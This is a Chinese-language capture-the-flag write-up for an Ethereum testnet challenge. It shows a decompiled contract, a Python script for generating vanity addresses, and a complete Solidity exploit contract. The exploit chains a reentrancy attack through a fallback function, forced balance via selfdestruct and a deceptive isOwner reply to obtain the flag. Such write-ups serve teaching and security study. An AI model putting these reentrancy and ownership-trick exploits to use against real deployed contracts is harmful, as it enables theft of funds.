题目描述:0x40a590b70790930ceed4d148bf365eea9e8b35f4@ropsten, event pikapika_SendFlag(string b64email);
我们可以到官网https://ropsten.etherscan.io/输入合约地址查看代码,但是没有看到源码,不知道比赛的时候是否有源码。我们还可以到https://ethervm.io/decompile这个网站进行反编译。我们在官网得到的结果如下图:
#
# Panoramix v4 Oct 2019
# Decompiled source of ropsten:0x40a590b70790930ceed4d148bF365eeA9e8b35F4
#
# Let's make the world open source
#
const eth_balance = eth.balance(this.address)
def storage:
stor0 is addr at storage 0
stor1 is addr at storage 1
balanceOf is mapping of uint256 at storage 2
stor3 is mapping of uint8 at storage 3
unknown35983396 is mapping of uint256 at storage 4
def unknown35983396(addr _param1): # not payable
return unknown35983396[_param1]
def status(address _param1): # not payable
return bool(stor3[_param1])
def balanceOf(address _owner): # not payable
return balanceOf[_owner]
def unknownb4de8673(addr _param1): # not payable
return balanceOf[addr(_param1)]
#
# Regular functions
#
def _fallback() payable: # default function
revert
def unknown11f776bc(): # not payable
require caller != tx.origin
require caller % 4096 == 4095
if bool(stor3[caller]) == 1:
stor3[caller] = 0
stor0 = caller
def buy() payable:
require caller != tx.origin
require caller % 4096 == 4095
require not unknown35983396[caller]
require not balanceOf[caller]
require call.value == 1
balanceOf[caller] = 100
unknown35983396[caller] = 1
return 1
def unknown6bc344bc(array _param1): # not payable
require caller == stor0
require unknown35983396[caller] >= 100
stor0 = stor1
unknown35983396[caller] = 0
call 0x4cfbdfe01daef460b925773754821e7461750923 with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
log 0x296b9274: Array(len=_param1.length, data=_param1[all])
def change(address _toToken): # not payable
require ext_code.size(caller)
call caller.isOwner(address owner) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
if not ext_call.return_data[0]:
require ext_code.size(caller)
call caller.isOwner(address owner) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
stor3[caller] = uint8(bool(ext_call.return_data)
def transfer(address _to, uint256 _value): # not payable
require _to
require _value > 0
require balanceOf[caller] >= _value
require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
balanceOf[caller] -= _value
balanceOf[addr(_to)] += _value
require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
return 1
def sell(uint256 _amount): # not payable
require _amount >= 200
require unknown35983396[caller] > 0
require balanceOf[caller] >= _amount
require eth.balance(this.address) >= _amount
call caller with:
value _amount wei
gas gas_remaining wei
require this.address
require _amount > 0
require balanceOf[caller] >= _amount
require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
balanceOf[caller] -= _amount
balanceOf[addr(this.address)] += _amount
require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
unknown35983396[caller]--
return 1
我们这里在开一个其它智能合约在官网的例子,可以看到是有源码的。(https://ropsten.etherscan.io/address/0x8e99d0B58E1E87a9065a3e918f4cE4f26Cfb0d42?utm_source=StateOfTheDApps#code)
然后我们分析一下这道题,我们直接看源码(https://www.bugfor.com/zlhw/5364.html):
solidity学习https://solidity-cn.readthedocs.io/zh/develop/
首先我们需要另⼀一个合约作为sender和它交互, 并且sender的地址需要低12位为1. 众所周知合约的地址是由创建者的地址和nonce算出来的(合约地址的计算实际上是rlp编码的[钱包地址, nonce]), 所以先找⼀些可以⽤用的钱包地址:
from ethereum import utils
import os, sys
# generate EOA with appendix fff
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("fff"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix fff
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
generate_eoa1生成一个满足要求的账户,generate_eoa2生成一个账户,他的第一个部署的合约地址满足要求。
用generate_eoa2部署4个合约然后转账到同一个合约让balance达到400,之后依次直到payforflag,注意目标合约大部分公开函数都不是payable。如果遭遇gas问题可以用BaiGei间接给目标合约转0.2ether以防万一。同时call的时候value和gas不一样,value是转账给的,gas是结算的手续费。如果value参数始终不正常,请用remix右边栏的value来指定并调用代理函数,最后call.value(msg.value)()这样来转发参数。
对于只知道函数签名的函数调用,用addr(contract_addr).call(bytes4(func_sig)[, parameters])完成调用。
如果一笔交易中部分出错,可以查看目标合约的inernal transaction,看看红叉叉里面是什么原因。([https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/]
发送flag要求:
要求msg.sender ==owner
要求buyTimes>= 100,其中buytime修改在两个函数 sell和buy中
要求:
_amount >= 200
buyTimes>0
代币余额 >= _amount
账户eth余额 >= _amount
之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改buyTimes。要修改两次buyTimes,显然需要重复调用 sell(uint256) ,并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用,这可以通过fallback函数来实现。
函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。
由于要调用两次 sell(uint256) ,而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额,由于合约只有 buy() 一个payable函数,所以如果用 buy() 转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。
在change_Owner中对owner可以进行修改,这里要求status==true,其在change中被修改
通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:
1.分别生成4个账户
2.分别创建漏洞利用合约,地址要满足条件
3.分别调用 buy() 传送1 wei
4.取其中三个合约,分别调用transfer(address,uint256),将其代币余额转至攻击用的合约
5.新建合约,向传送至少400 wei
6.在新建合约执行 selfdestruct(题目合约)
7.调用 sell(uint256) (fallback函数负责第二次调用)
8.调用 change(address)
9.调用 change_Owner()(claim)
10.调用 payforflag(string) 得到flag
代码
pragma solidity >=0.4.22 <0.7.0;
contract Exp {
address private me;
address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
bool private ownerAsk = false;
bool private recall = false;
constructor() public {
me = msg.sender;
}
modifier check() {
require(msg.sender == me, "Caller is not owner");
_;
}
event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
function isOwner(address check) external view returns (bool) {
emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
if (check == me) {
if (!ownerAsk) {
ownerAsk = true;
return false;
}
return true;
}
return false;
}
function payme() public payable {}
function buy() public check {
game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
}
function change() public check {
game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
}
function transfer(address addr) public check {
game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
}
function attack() public check {
game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
}
event FallbackCalled(bytes data, address who);
function () payable {
emit FallbackCalled(msg.data, msg.sender);
if (msg.sender == game && !recall) {
recall = true;
game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
}
}
function claim() public check {
var sig = 0x11f776bc;
game.call.gas(msg.gas)(bytes4(sig));
}
function getFlag(string b64email) public check {
game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
}
function kill() public check {
if (me == msg.sender) {
selfdestruct(me);
}
}
function trans() public check {
if (me == msg.sender) {
selfdestruct(game);
}
}
function reset() public check {
recall = false;
ownerAsk = false;
}
function set(bool a, bool b) public check {
recall = a;
ownerAsk = b;
}
}
参考:https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/
附:
在线反编译合约网站1:https://contract-library.com/
在线反编译合约网站2: https://ethervm.io/decompile/
在线智能合约交互网站:https://www.mycrypto.com/